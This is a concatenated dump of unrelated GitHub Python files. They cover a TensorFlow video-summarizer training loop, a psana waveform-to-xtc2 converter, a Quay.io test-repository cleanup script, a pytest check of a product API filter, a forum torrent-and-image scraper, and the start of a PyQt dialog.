(\"Optimizer 1 started\")\n encoderDecoderTrain = tf.train.AdamOptimizer().minimize(encoderDecoderLoss, var_list=encoderDecoderTrainList)\n print (\"Optimizer 1 done\")\n\n #optimizer 2 training variable list\n reconsGanLossTrainList=[tf.get_collection(tf.GraphKeys.GLOBAL_VARIABLES, scope='video_summary/decoder')]\n #optimizer 2\n reconsGanLossTrain = tf.train.AdamOptimizer().minimize(reconsGanLoss, var_list=reconsGanLossTrainList)\n print (\"Optimizer 2 done\")\n\n #optimizer 3 training variable list\n ganLossAloneTrainList=[tf.get_collection(tf.GraphKeys.GLOBAL_VARIABLES, scope='video_summary/discriminator')]\n #optimizer 3\n ganLossAloneTrain = tf.train.AdamOptimizer().minimize(ganLossAlone, var_list=ganLossAloneTrainList)\n print (\"Optimizer 3 done\")\n\n sess.run(tf.global_variables_initializer())\n # this method in very useful\n # var_list = [var for var in tf.get_collection(tf.GraphKeys.GLOBAL_VARIABLES, scope='video_summary')]\n # init_var_list = tf.variables_initializer(var_list)\n # sess.run(init_var_list)\n print (\"Initializing variables done\")\n\n inception_saver.restore(sess, checkpoint_file)\n print (\"Inception restore done\")\n\n images = read_dataset(\"demodata\")\n print (\"Read dataset done\")\n\n t = time.time()\n\n curren_time = strftime(\"%Y-%m-%d %H:%M:%S\", gmtime())\n results_dir = \"Results_\" + curren_time\n if not os.path.exists(results_dir):\n os.makedirs(results_dir)\n\n #checkpoint saver\n loss_measure_dir = \"Loss_\" + curren_time\n if not os.path.exists(results_dir+\"/\"+loss_measure_dir):\n os.makedirs(results_dir+\"/\"+loss_measure_dir)\n\n #checkpoint saver\n checkpoint_measure_dir = \"Checkpoints_\" + curren_time\n if not os.path.exists(results_dir+\"/\"+checkpoint_measure_dir):\n os.makedirs(results_dir+\"/\"+checkpoint_measure_dir)\n\n #fmeasure saver\n f_measure_dir = \"FM_\" + curren_time\n if not os.path.exists(results_dir+\"/\"+f_measure_dir):\n os.makedirs(results_dir+\"/\"+f_measure_dir)\n\n while (images.epochs_completed() < num_epochs):\n current_epoch = images.epochs_completed()\n f_measure_epch =[]\n print('[----Epoch {} is started ----]'.format(current_epoch))\n # take next batch until epoch is completed\n i = 0\n fmeasurecsv = results_dir + \"/\" +f_measure_dir +\"/fmeasure_\" + str(current_epoch) +\".csv\"\n losscsv = results_dir + \"/\" + loss_measure_dir + \"/loss_\" + str(current_epoch) + \".csv\"\n fmeasurecsvfile = open(fmeasurecsv, 'w')\n losscsvfile = open(losscsv, 'w')\n spamwriterfmeasure = csv.writer(fmeasurecsvfile, delimiter=',')\n spamwriterloss = csv.writer(losscsvfile, delimiter=',')\n while (images.epochs_completed() < current_epoch + 1):\n # get the input images\n input_images, videoName = images.next_batch(batch_size)\n if input_images != None:\n print(' [----Batch {} is started ----]'.format(i))\n numberFrames = np.asarray(input_images).shape[1]\n input_images = np.asarray(input_images).reshape([batch_size*numberFrames, 224, 224, 3])\n # if numberFrames < max_number_of_frames:\n # input_images = np.append(input_images, np.zeros([max_number_of_frames -numberFrames, 224, 224, 3]), axis=0)\n sequence_length_original_video = np.asarray(numberFrames).reshape(batch_size)\n # values1, reverseindiesDimeOne1, encoderDecoderLoss1, reconsGanLoss1,ganLossAlone1 = sess.run([ values, reverseindiesDimeOne, encoderDecoderLoss, reconsGanLoss,ganLossAlone], feed_dict={input_tensor: input_images, sequence_length : sequence_length_original_video})\n values1, reverseindiesDimeOne1, encoderDecoderLoss1, reconsGanLoss1,ganLossAlone1, _, _, _ = sess.run([ values, reverseindiesDimeOne, encoderDecoderLoss, reconsGanLoss,ganLossAlone, encoderDecoderTrain, reconsGanLossTrain, ganLossAloneTrain], feed_dict={input_tensor: input_images, sequence_length : sequence_length_original_video})\n f_measure, summary_length = evaluation(videoName, reverseindiesDimeOne1)\n print(\" encoderDecoderLoss =\", encoderDecoderLoss1 , \", reconsGanLoss =\", reconsGanLoss1, \", ganLossAlone =\", ganLossAlone1)\n print(' [----Batch {} is finished ----]'.format(i))\n i = i+1\n spamwriterfmeasure.writerow([current_epoch , videoName , f_measure])\n spamwriterloss.writerow([encoderDecoderLoss1, reconsGanLoss1, ganLossAlone1, reverseindiesDimeOne1, values1])\n print('[----Epoch {} is finished ----]'.format(current_epoch))\n video_summary_saver.save(sess, results_dir + \"/\" + checkpoint_measure_dir + '/video_sum', global_step=current_epoch, write_meta_graph=False)\n print ('[----Checkpoint is saved----]')\n fmeasurecsvfile.close()\n print ('Training time: {}s'.format(time.time() - t))\n\n","repo_name":"TulsiJain/video_summarizer","sub_path":"start.py","file_name":"start.py","file_ext":"py","file_size_in_byte":9327,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"33894982826","text":"\"\"\" Converts raw to fex-style waveforms\n\n Note: \n modified from lcls2/psana/psana/hexanode/examples/\n ex-22-data-acqiris-peaks-save-h5-xiangli.py\n \n Input raw waveforms:\n time 1 2 3 4 5 6 7 8 9....\n wf = 2 3 4 5 4 3 2 1 1 1 2 3 4 6 3 2 1 1 1\n threshold:\n 3\n Output simulated fex data:\n [3,4,5,4,3] starttime 2\n [3,4,6,3] starttime 12\n Output to xtc2 (one stream per one channel)\n \n Tests:\n Output from Roentdek algorithm (xyrt) using raw waveforms is\n compared with what comes out from the simulated fex data.\n\n\"\"\"\nimport logging\nlogger = logging.getLogger(__name__)\n\nimport sys\nfrom time import time\n\nfrom psana import DataSource\n\nfrom psana.pyalgos.generic.NDArrUtils import print_ndarr\nfrom psana.pyalgos.generic.Utils import str_kwargs, do_print\n\nimport numpy as np\n\nfrom psana.hexanode.PyCFD import PyCFD\nimport matplotlib.pyplot as plt\n\nfrom psana.hexanode.DLDProcessor import DLDProcessor\n\nimport dgrampy as dp\nfrom psana.psexp import TransitionId\n\nUSAGE = 'Usage: python %s' % sys.argv[0]\n\ndef get_window_from_peaks(wf, wt, peak_ind, window_size, plot=False, \n CFD=None, sample_period=None, threshold=None):\n \"\"\"Returns a list of 1D waveforms and start positions.\n\n Note that no. of windows may not necessary match with no. of peaks. This is\n because adjacent peaks can appear in the same window.\n\n From given locations of peaks (`peak_ind`), extend the window (both left \n and right) until it hit the threshold (+/- `window_size`). This is considered \n as one window and as we move to the next peak_ind, we check if it has been merged\n into the previous window. \n \"\"\"\n n_peaks = len(peak_ind)\n pkwin_list = []\n startpos_list = []\n\n plt.plot(wt, wf, label=f'waveform window_size={window_size}')\n st, en = (0, 0)\n for i_peak, pkind in enumerate(peak_ind):\n # Check if this peak index is included in the previous windows\n if pkind in range(st, en): continue\n\n st = pkind\n en = pkind \n threshold = 0.003\n\n # Walk left\n while wf[st] <= threshold and st > 0:\n st -= 1\n if st > window_size:\n st -= window_size\n\n # Walk right\n while wf[en] <= threshold and en < wf.shape[0]-1:\n en += 1\n if en < wf.shape[0] - window_size:\n en += window_size \n pkwin_list.append(wf[st: en])\n startpos_list.append(wt[st])\n #plt.plot(wt[st:en], wf[st:en], label=f'window #{i_peak}')\n\n result_peaks = test_findpeaks_with_CFD(pkwin_list, startpos_list, CFD, sample_period)\n \n if plot:\n plt.scatter(wt[peak_ind], wf[peak_ind], marker='o', c='r', label='peaks from found indices')\n first_pks = [pkwin[0] for pkwin in pkwin_list]\n plt.scatter(startpos_list, first_pks, marker='x', c='g', label='begin window')\n plt.legend()\n plt.show()\n return pkwin_list, startpos_list, result_peaks\n\ndef test_findpeaks_with_CFD(pkwin_list, startpos_list, CFD, sample_period):\n \"\"\"Test finding peaks from windows. The results should match with\n the original peak finding results `pktsec`.\n \"\"\"\n peaks_sizes = [peak.shape[0] for peak in pkwin_list]\n arr_size = np.sum(peaks_sizes)\n pks = []\n\n if arr_size > 0:\n stimes = np.zeros(arr_size)\n swf = np.zeros(arr_size, dtype=pkwin_list[0].dtype)\n for ipeak, peak in enumerate(pkwin_list):\n if ipeak == 0:\n st = 0\n else:\n st = np.sum(peaks_sizes[:ipeak])\n en = st + peaks_sizes[ipeak]\n _stimes = np.arange(startpos_list[ipeak], \n startpos_list[ipeak]+(peaks_sizes[ipeak]*sample_period), sample_period)\n stimes[st:en] = _stimes[:peaks_sizes[ipeak]]\n swf[st:en] = peak \n \n ts = stimes\n vs = swf\n plt.plot(ts, vs, label=f'long window')\n \n pks = CFD.CFD(vs, ts) \n\n if len(pks) > 0:\n peak_ind = np.searchsorted(stimes, pks)\n plt.scatter(pks, swf[peak_ind], marker='o', c='m', label=f'CFD peaks') \n \n return pks\n\ndef dgrampy_start(expt, runnum, out_xtcfname, segment_id, ts):\n \"\"\"Setup required parameters to create xtc2 from scratch.\n \n Note: ts is the original config timestamp. Only config (\n and L1Accept - see dgrampy_adddata) will have a matching \n timestamp with the original file. Other transitions are\n just +1 from this config timestamp.\n \"\"\"\n # NameId setup\n nodeId = 1 \n namesId = {\n \"tmo_quadanode\": 0,\n \"runinfo\": 1,\n }\n\n # Tells dgrampy to write new dgrams to this given output filename\n dp.creatextc2(out_xtcfname)\n\n # Create config, algorithm, and detector\n config = dp.config(ts=ts)\n alg = dp.alg(\"fex\", 4, 5, 6)\n det = dp.det(\"tmo_quadanode\", \"quadanode\", \"detnum1234\")\n ts += 1\n\n runinfo_alg = dp.alg(\"runinfo\", 0, 0, 1)\n runinfo_det = dp.det(\"runinfo\", \"runinfo\", \"\")\n\n # Define data formats\n datadef_dict = {\n \"startpos\": (dp.DataType.DOUBLE, 1),\n \"waveforms\": (dp.DataType.DOUBLE, 1),\n \"lengths\": (dp.DataType.INT64, 1),\n }\n datadef = dp.datadef(datadef_dict)\n\n runinfodef_dict = {\n \"expt\": (dp.DataType.CHARSTR, 1),\n \"runnum\": (dp.DataType.UINT32, 0),\n }\n runinfodef = dp.datadef(runinfodef_dict)\n\n # Create Names\n data_names = dp.names(\n config, det, alg, datadef, nodeId=nodeId, namesId=namesId[\"tmo_quadanode\"], segment=segment_id\n )\n runinfo_names = dp.names(\n config,\n runinfo_det,\n runinfo_alg,\n runinfodef,\n nodeId=nodeId,\n namesId=namesId[\"runinfo\"],\n segment=segment_id,\n )\n \n dp.save(config)\n\n beginrun = dp.dgram(transid=TransitionId.BeginRun, ts=ts)\n beginrun_data = {\"expt\": expt, \"runnum\": runnum}\n dp.adddata(beginrun, runinfo_names, runinfodef, beginrun_data)\n dp.save(beginrun)\n ts += 1\n \n beginstep = dp.dgram(transid=TransitionId.BeginStep, ts=ts)\n dp.save(beginstep)\n ts += 1\n \n enable = dp.dgram(transid=TransitionId.Enable, ts=ts)\n dp.save(enable)\n\n return data_names, datadef\n\ndef dgrampy_adddata(data_names, datadef, startpos_list, pkwin_list, ts):\n d0 = dp.dgram(ts=ts)\n\n # Converts pkwin_list to 1D array and store len of each\n # item in lengths array.\n lengths = np.array([len(pkwin) for pkwin in pkwin_list], dtype=np.int64)\n waveforms = np.zeros(np.sum(lengths), dtype=np.float64)\n for i, pkwin in enumerate(pkwin_list):\n st = np.sum(lengths[:i])\n en = st + lengths[i]\n waveforms[st:en] = pkwin\n print(f'adddata lengths={lengths}')\n print(f' waveforms={waveforms}')\n print(f' startpos={np.asarray(startpos_list, dtype=np.float64)}')\n \n data = {\n \"startpos\": np.asarray(startpos_list, dtype=np.float64),\n \"waveforms\": waveforms,\n \"lengths\": lengths,\n }\n dp.adddata(d0, data_names, datadef, data)\n dp.save(d0)\n\ndef dgrampy_done(ts):\n \"\"\"Post-pend all ending transitions.\"\"\"\n disable = dp.dgram(transid=TransitionId.Disable, ts=ts)\n dp.save(disable)\n ts += 1\n endstep = dp.dgram(transid=TransitionId.EndStep, ts=ts)\n dp.save(endstep)\n ts += 1\n endrun = dp.dgram(transid=TransitionId.EndRun, ts=ts)\n dp.save(endrun)\n dp.closextc2()\n\ndef proc_data(**kwargs):\n\n logger.info(str_kwargs(kwargs, title='Input parameters:'))\n\n DSNAME = kwargs.get('dsname', '/reg/g/psdm/detector/data2_test/xtc/data-amox27716-r0100-acqiris-e001000.xtc2')\n DETNAME = kwargs.get('detname','tmo_quadanode')\n EVSKIP = kwargs.get('evskip', 0)\n EVENTS = kwargs.get('events', 10) + EVSKIP\n EXP = kwargs.get('exp', 'amox27716')\n RUN = kwargs.get('run', 85)\n VERBOSE = kwargs.get('verbose', True)\n PLOT = kwargs.get('plot', False)\n OFPREFIX = kwargs.get('ofprefix','./')\n PARAMSCFD = kwargs.get('paramsCFD')\n NUMCHS = kwargs.get('numchs', 5)\n NUMHITS = kwargs.get('numhits', 16)\n\n\n ds = DataSource(files=DSNAME)\n orun = next(ds.runs())\n det = orun.Detector(DETNAME)\n dldpars = {'consts':det.calibconst}\n\n # Update calibcfg and calibtab\n kwargs.update(dldpars)\n\n tb_sec = time()\n nev = 0\n\n # Counts no. of channels with different no. peaks from CFD(raw) and CFD(win)\n cn_match = 0\n cn_unmatch = 0 \n cn_match_dld = 0\n cn_unmatch_dld = 0\n\n # Summing differences between each peak from CFD(raw) and CFD(win)\n sum_err = 0\n sum_pks = 0\n \n # Summing differences between x,y,r,t (output from Roentdek)\n sum_err_dld = np.zeros([EVENTS, 4], dtype=np.float64) \n\n # Initialize PyCFD per channel\n cfds = {}\n for i_chan in range(NUMCHS):\n CFD_params = PARAMSCFD[i_chan]\n cfds[i_chan] = PyCFD(CFD_params)\n\n # This is used for calculate Roentdek algorithm (_c is for checking\n # peaks from simulated fex data).\n proc = DLDProcessor(**kwargs)\n proc_c= DLDProcessor(**kwargs)\n\n # Initialize dgrampy and generate starting transitions for xtc2\n out_i_chan = 4 \n out_xtcfname = f\"data-r0085-s{str(out_i_chan).zfill(3)}-c000.xtc2\"\n segment_id = 4\n ts = 0 \n data_names, datadef = dgrampy_start(EXP, RUN, out_xtcfname, segment_id, ts)\n \n ts += 4 # Configure, BeginRun, BeginStep, Enable\n for nev,evt in enumerate(orun.events()):\n\n if nev<EVSKIP: continue\n if nev>=EVENTS: break\n\n\n if do_print(nev): logger.info('Event %4d'%nev)\n t0_sec = time()\n\n wts = det.raw.times(evt)\n wfs = det.raw.waveforms(evt)\n\n # Function peaks returns `pktsec` for each channel. We need to locate\n # index of these peaks in wts. The indices will be used to identify\n # windows of waveform wfs and startpos in wts.\n NUMCHS = wfs.shape[0]\n window_size = 8\n nhits = np.zeros(NUMCHS, dtype=np.int64)\n pktsec = np.zeros([NUMCHS, NUMHITS], dtype=wts.dtype)\n\n nhits_fex = np.zeros(NUMCHS, dtype=np.int64)\n pktsec_fex = np.zeros([NUMCHS, NUMHITS], dtype=wts.dtype)\n\n for i_chan in range(NUMCHS):\n # Find peaks using CFD\n CFD_params = PARAMSCFD[i_chan]\n CFD = cfds[i_chan]\n\n pktsec_chan = CFD.CFD(wfs[i_chan,:], wts[i_chan,:])\n nhits_chan = min(len(pktsec_chan), NUMHITS)\n nhits[i_chan] = nhits_chan\n\n pktsec[i_chan,:nhits_chan] = pktsec_chan[:nhits_chan]\n\n # Calculate sample interval\n sample_intervals = wts[i_chan,1:] - wts[i_chan,:-1]\n \n # Find peak indices\n peak_ind = np.searchsorted(wts[i_chan,:], pktsec_chan)\n\n if False:\n plt.plot(wts[i_chan, :], wfs[i_chan,:], label='waveform')\n # Get peak values from found indices\n pktval = wfs[i_chan, peak_ind]\n plt.scatter(pktsec_chan, pktval, marker='o', c='r', label=f'CFD peaks #{nhits[i_chan]}')\n plt.scatter(wts[i_chan, peak_ind], pktval, marker='x', c='g', label=f'ts from found indices #{len(wts[i_chan, peak_ind])}')\n plt.legend()\n plt.show()\n \n \n # Find peak windows\n pkwin_list, startpos_list, result_peaks = get_window_from_peaks(\n wfs[i_chan,:], wts[i_chan,:], peak_ind, window_size, plot=PLOT,\n CFD=CFD, sample_period=CFD_params['sample_interval'],\n threshold=CFD_params['threshold'])\n \n # Save hits and peaks from fex data\n nhits_chan_fex = min(len(result_peaks), NUMHITS)\n nhits_fex[i_chan] = nhits_chan_fex\n pktsec_fex[i_chan,:nhits_chan_fex] = result_peaks[:nhits_chan_fex]\n\n # Write out one channel at a time (change out_i_chan to switch file)\n if i_chan == out_i_chan:\n dgrampy_adddata(data_names, datadef, startpos_list, pkwin_list, ts)\n ts += 1\n \n # Calculate the differences betwen CFD(raw) and CFD(windows)\n if len(result_peaks) == nhits[i_chan]:\n sum_err += np.sum(np.absolute(np.asarray(pktsec_chan) - np.asarray(result_peaks)))\n sum_pks += nhits[i_chan]\n cn_match += 1\n else:\n cn_unmatch += 1\n\n\n # end for i_chan...\n \n # Test RoenDek algorithm\n proc.event_proc(nev, nhits, pktsec)\n proc_c.event_proc(nev, nhits_fex, pktsec_fex)\n xyrt = proc.xyrt_list(nev, nhits, pktsec)\n xyrt_c = proc_c.xyrt_list(nev, nhits_fex, pktsec_fex)\n if len(xyrt) == len(xyrt_c):\n for i, ((x,y,r,t), (x_c,y_c,r_c,t_c)) in enumerate(zip(xyrt, xyrt_c)):\n dx = abs(x-x_c)\n dy = abs(y-y_c)\n dr = abs(r-r_c)\n dt = abs(t-t_c)\n sum_err_dld[nev,:] = [dx, dy, dr, dt]\n print(' ev:%4d hit:%2d dx:%7.3f dy:%7.3f dt:%10.5g dr:%7.3f' % (nev,i,dx,dy,dt,dr))\n cn_match_dld += 1\n else:\n cn_unmatch_dld += 1\n \n if VERBOSE:\n print(\" ev:%4d waveforms processing time = %.6f sec\" % (nev, time()-t0_sec))\n print_ndarr(wfs, ' waveforms : ', last=4)\n print_ndarr(wts, ' times : ', last=4)\n print_ndarr(nhits, ' number_of_hits : ')\n \n\n # end for nev, evt in...\n dgrampy_done(ts)\n\n print(\"Summary ev:%4d processing time = %.6f sec\" % (nev, time()-tb_sec))\n print(f\"average err per channel: {sum_err/sum_pks} #unmatch: {cn_unmatch} ({(cn_unmatch/(5*nev))*100:.2f} %)\")\n print(f\"average err(x,y,r,t) per evt: {np.sum(sum_err_dld, axis=0)/nev} #unmatch: {cn_unmatch_dld} ({(cn_unmatch_dld/nev)*100:.2f} %)\")\n\n\nif __name__ == \"__main__\":\n\n logging.basicConfig(format='%(levelname)s: %(message)s', datefmt='%Y-%m-%dT%H:%M:%S', level=logging.INFO)\n\n tname = sys.argv[1] if len(sys.argv) > 1 else '1'\n print('%s\\nTEST %s' % (50*'_', tname))\n\n kwargs = {'dsname' : '/reg/g/psdm/detector/data2_test/xtc/data-amox27716-r0085-acqiris-e001000.xtc2',\n 'detname' : 'tmo_quadanode',\n 'numchs' : 5,\n 'numhits' : 16,\n 'evskip' : 0,\n 'events' : 1000,\n 'ofprefix' : './',\n 'run' : 85,\n 'exp' : 'amox27716',\n 'version' : 4,\n 'DLD' : True,\n 'paramsCFD': {0: {'channel': 'mcp',\n 'delay': 1e-8,\n 'fraction': 0.35,\n 'offset': 0.042,\n 'polarity': 'Negative',\n 'sample_interval': 2.5e-10,\n 'threshold': 0.028,\n 'timerange_high': 1e-05,\n 'timerange_low': 1e-06,\n 'walk': 0},\n 1: {'channel': 'x1',\n 'delay': 3.997500000000001e-09,\n 'fraction': 0.35,\n 'offset': 0.032654320557811034,\n 'polarity': 'Negative',\n 'sample_interval': 2.5e-10,\n 'threshold': 0.048439800379417808,\n 'timerange_high': 1e-05,\n 'timerange_low': 1e-06,\n 'walk': 0},\n 2: {'channel': 'x2',\n 'delay': 4.712500000000001e-09,\n 'fraction': 0.35,\n 'offset': 0.058295909692775157,\n 'polarity': 'Negative',\n 'sample_interval': 2.5e-10,\n 'threshold': 0.062173077232695384,\n 'timerange_high': 1e-05,\n 'timerange_low': 1e-06,\n 'walk': 0},\n 3: {'channel': 'y1',\n 'delay': 4.5435e-09,\n 'fraction': 0.35,\n 'offset': 0.01740340726630819,\n 'polarity': 'Negative',\n 'sample_interval': 2.5e-10,\n 'threshold': 0.035850750860370109,\n 'timerange_high': 1e-05,\n 'timerange_low': 1e-06,\n 'walk': 0},\n 4: {'channel': 'y2',\n 'delay': 4.140500000000001e-09,\n 'fraction': 0.35,\n 'offset': 0.0088379291811293368,\n 'polarity': 'Negative',\n 'sample_interval': 2.5e-10,\n 'threshold': 0.035254198205580331,\n 'timerange_high': 1e-05,\n 'timerange_low': 1e-06,\n 'walk': 0}}}\n # Parameters of the CFD descriminator for hit time finding algotithm\n cfdpars= {'cfd_base' : 0.,\n 'cfd_thr' : -0.05,\n 'cfd_cfr' : 0.85,\n 'cfd_deadtime' : 10.0,\n 'cfd_leadingedge': True,\n 'cfd_ioffsetbeg' : 1000,\n 'cfd_ioffsetend' : 2000,\n 'cfd_wfbinbeg' : 6000,\n 'cfd_wfbinend' : 22000,\n }\n \n kwargs.update(cfdpars)\n\n proc_data(**kwargs)\n\n print('\\n%s' % USAGE)\n sys.exit('End of %s' % sys.argv[0])\n\n# EOF\n","repo_name":"monarin/psana-nersc","sub_path":"psana2/dgrampy/ex-01-conv-raw-to-fex-wf.py","file_name":"ex-01-conv-raw-to-fex-wf.py","file_ext":"py","file_size_in_byte":17892,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"38391678195","text":"import json\nimport os\nfrom docker.quay_io import QuayIO\n\ntoken = os.environ.get(\"QUAY_AUTH_TOKEN\", default=\"\")\n\nif not token:\n print(\"Set QUAY_AUTH_TOKEN.\")\n exit(1)\n\nquayIo = QuayIO(token=token)\n\nresponse = quayIo.list(\"devtest\")\n\nif response.status_code == 200:\n data = json.loads(response.text)\n repositories = data[\"repositories\"]\n\n for repo in repositories:\n\n status_code = quayIo.delete(\"devtest\", repo[\"name\"])\n if status_code == 204:\n print(repo[\"name\"], \"DELETED\")\n else:\n print(repo[\"name\"], status_code)\nelse:\n print(response.status_code)\n exit(1)\n","repo_name":"hisplan/scing","sub_path":"src/scing/delete.py","file_name":"delete.py","file_ext":"py","file_size_in_byte":623,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"37"} +{"seq_id":"44512754457","text":"import pytest\nimport pdb\nfrom datetime import datetime, timedelta\nfrom demo_api_test.src.helpers.products_helper import ProductsHelper\nfrom demo_api_test.src.dao.products_dao import ProductsDAO\n\n\n@pytest.mark.regression\nclass TestListProductsWithFilter:\n\n @pytest.mark.tcid51\n def test_list_products_with_filter_after(self):\n # create data\n x_days_from_today = 1500\n _after_created_date = datetime.now().replace(microsecond=0) - timedelta(days=x_days_from_today)\n after_created_date = _after_created_date.isoformat()\n\n # or you can generate your custom format by below code\n # temp_date = datetime.now() - timedelta(days=x_days_from_today)\n # after_created_date = temp_date.strftime('%Y-%m-%dT%H:%M:%S')\n\n payload = dict()\n payload['after'] = after_created_date\n # payload['per_page'] = 100\n\n # make api call\n rs_api = ProductsHelper().call_list_products(payload)\n assert rs_api, \"Empty response for 'list products with filter'\"\n\n # get data from db\n db_products = ProductsDAO().get_product_after_given_date(after_created_date)\n\n # verify response matches with db\n assert len(rs_api) == len(db_products), f\"List of product with filter 'after' returned unexpected number\" \\\n f\"of products. Expected: {len(db_products)}, Actual: {len(rs_api)}\"\n\n ids_in_rs_api = [i['id'] for i in rs_api]\n ids_in_db = [i['ID'] for i in db_products]\n\n ids_diff = list(set(ids_in_rs_api) - set(ids_in_db))\n\n assert not ids_diff, \"List products with filter, product ids mismatch with db.\"\n","repo_name":"ShameemAkhtar111/api-testing","sub_path":"demo_api_test/test/Products/test_get_products_with_filter.py","file_name":"test_get_products_with_filter.py","file_ext":"py","file_size_in_byte":1668,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"21202658829","text":"# -*- coding: utf-8 -*-\n__author__ = 'SlovEnt'\n__date__ = '2019/6/6 21:45'\n\nimport time\nimport os\nimport pathlib\nimport re\nimport shutil\nimport requests\nfrom bs4 import BeautifulSoup\nfrom collections import OrderedDict\nfrom ResPacks import torndb\nfrom ResPacks.UsedCommFuncs import Get_Param_Info\nfrom proc import get_html_all_content, Get_1024_MagnetLink_Main\nimport traceback\nfrom multiprocessing import Pool\n\n\n# 参数加载区\nBASE_DIR = os.path.dirname(os.path.dirname(__file__))\nCONFIG_FILE = \"{0}/Config.ini\".format(BASE_DIR)\nglobParaList = Get_Param_Info(CONFIG_FILE)\n\n# 引入mysql操作函数\nmysqlConn = torndb.Connection(\n \"{0}:{1}\".format(globParaList[\"DB_HOST\"],globParaList[\"DB_PORT\"]),\n globParaList[\"DB_NAME\"],\n globParaList[\"USER_NAME\"],\n globParaList[\"USER_PWD\"],\n)\n\n# 域名\nDOMIN_NAME = \"http://p3.csgfnmdb.xyz\"\n\n# 最新合集版块首页\nROOT_URL = \"{0}/pw/thread.php?fid=3\".format(DOMIN_NAME)\n\n# 单一帖子网址前缀\nPOST_ROOT_URL = \"{0}/pw\".format(DOMIN_NAME)\n\n# 下载目录\nDOWN_FLODERS = globParaList[\"Down_1024_Floders\"]\n\n# 记录帖子下载标志的数据库后台表\ntableName = globParaList[\"Table_Name\"]\n\ngmm = Get_1024_MagnetLink_Main(mysqlConn, ROOT_URL, DOWN_FLODERS, POST_ROOT_URL)\n\ndef sing_process(postNode):\n # 下载存放目录\n downSubFloder = \"{0}\\{1}\".format(DOWN_FLODERS, postNode[\"folder_name\"])\n\n whereDict = OrderedDict()\n whereDict[\"web_name\"] = postNode[\"web_name\"]\n whereDict[\"id\"] = postNode[\"id\"]\n\n rtnDatas = gmm.Table_Row_Is_Exist(tableName, whereDict)\n\n if rtnDatas[\"CNT\"] == 0:\n rtnMsg = gmm.Inser_Init_TaskLog(tableName, postNode)\n\n whereDict[\"search_flag\"] = \"1\"\n rtnDatas = gmm.Table_Row_Is_Exist(tableName, whereDict)\n\n if rtnDatas[\"CNT\"] == 1:\n print(\"10096 id:{0}, 帖子标题:{1}。已经完成下载,无需重复下载!!\".format(postNode[\"id\"], postNode[\"title\"]))\n # continue\n return False\n # 如果不存在则创建目录\n isExists = os.path.exists(downSubFloder)\n if not isExists:\n os.makedirs(downSubFloder)\n\n # 单一帖子循环下载\n print(\"10002 下载帖子地址为:{0},帖子ID为:{1},帖子标题为:{2},存放子目录为:{3}。\".format(\n postNode[\"href\"],\n postNode[\"id\"],\n postNode[\"title\"],\n downSubFloder,\n ))\n subPostHtml = gmm.get_html_all_content(postNode[\"href\"], \"td_tpc\", \"utf-8\")\n\n # 保存帖子网页内容\n pageFileName = r\"{0}\\{1}.html\".format(downSubFloder, postNode[\"id\"])\n with open(pageFileName, \"w\", encoding='utf-8') as f:\n f.write(subPostHtml)\n\n rtnMsg = gmm.down_torrent_and_images(subPostHtml, postNode, downSubFloder)\n # rtnMsg = gmm.multi_down_torrent_and_images(subPostHtml, postNode, downSubFloder)\n\n whereDict = {}\n whereDict[\"web_name\"] = postNode[\"web_name\"]\n whereDict[\"id\"] = postNode[\"id\"]\n\n if rtnMsg is False:\n print(\"10044 下载帖子地址为:{0},帖子ID为:{1},帖子标题为:{2},因某些原因导致下载失败。\".format(\n postNode[\"href\"],\n postNode[\"id\"],\n postNode[\"title\"],\n ))\n shutil.rmtree(downSubFloder)\n postNode[\"search_flag\"] = \"2\"\n\n else:\n print(\"10044 下载帖子地址为:{0},帖子ID为:{1},帖子标题为:{2},下载成功。\".format(\n postNode[\"href\"],\n postNode[\"id\"],\n postNode[\"title\"],\n ))\n postNode[\"search_flag\"] = \"1\"\n\n gmm.Update_Init_TaskLog(tableName, whereDict, postNode)\n print(\"\\n\")\n\ndef main():\n\n\n # 下载的最大帖子列表页数\n postsMaxNum = 3\n\n # 定义数组 用于存放帖子信息\n postInfos = []\n\n # 帖子中包含的特征字符\n includeTextFlag = [\n \"▲\",\n \"★\",\n \"◆\",\n \"☆\",\n \"☛\",\n \"◍\",\n \"◕\",\n \"√\",\n \"✽\",\n \"脫拉庫\",\n \"㊣\",\n ]\n\n for page in range(1, postsMaxNum + 1):\n\n subPageUrl = \"{0}&page={1}\".format(ROOT_URL, page)\n print(\"10001 获取第{0}页帖子列表链接 {1}\".format(page, subPageUrl))\n\n html = gmm.get_html_all_content(subPageUrl, \"main\", \"utf-8\")\n soup = BeautifulSoup(html, 'html.parser')\n mainDivContant = soup.find_all(\"a\", attrs={\"id\": re.compile(\"a_ajax_\\d+\")})\n\n for subNode in mainDivContant:\n\n postNode = OrderedDict()\n\n for textFlag in includeTextFlag:\n\n if textFlag not in subNode.text:\n continue\n\n postNode[\"web_name\"] = \"1024\"\n postNode[\"search_flag\"] = \"0\"\n\n postNode[\"title\"] = subNode.text.replace(' ','')\n subUrl = subNode.get(\"href\")\n postNode[\"id\"] = subNode.get(\"id\")\n\n # 目录命名 特殊字符做替换处理\n folderName = \"{0} - {1}\".format(postNode[\"id\"], postNode[\"title\"])\n folderName = folderName.replace(\"\\xa0\", \"\")\n folderName = folderName.replace(\"/\", \".\")\n\n postNode[\"href\"] = \"{0}/{1}\".format(POST_ROOT_URL, subUrl)\n postNode[\"folder_name\"] = folderName\n\n postInfos.append(postNode)\n # 如果匹配上 则直接跳出循环 否则下一次匹配会重复加入数组\n break\n\n n = 120000\n\n p = Pool(5)\n\n for postNode in postInfos:\n\n # n += 1\n # print(n, postNode)\n\n # #****************************************\n # 当单一帖子出现问题 用以下方式过滤\n # if postNode[\"id\"] != \"a_ajax_4209688\":\n # continue\n # #****************************************\n\n # sing_process(postNode)\n p.apply_async(sing_process, (postNode,))\n\n p.close()\n p.join() # behind close() or terminate()\n\n\nif __name__ == '__main__':\n try:\n main()\n except Exception as e:\n print(e)\n traceback.print_exc()","repo_name":"SlovEnt/Oper_Qnap_Transmission","sub_path":"Down_1024_Source/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5987,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"30110795641","text":"from PyQt5 import QtCore, QtGui, QtWidgets\r\n\r\n\r\nclass Ui_Dialog_Tables(object):\r\n def setupUi(self, 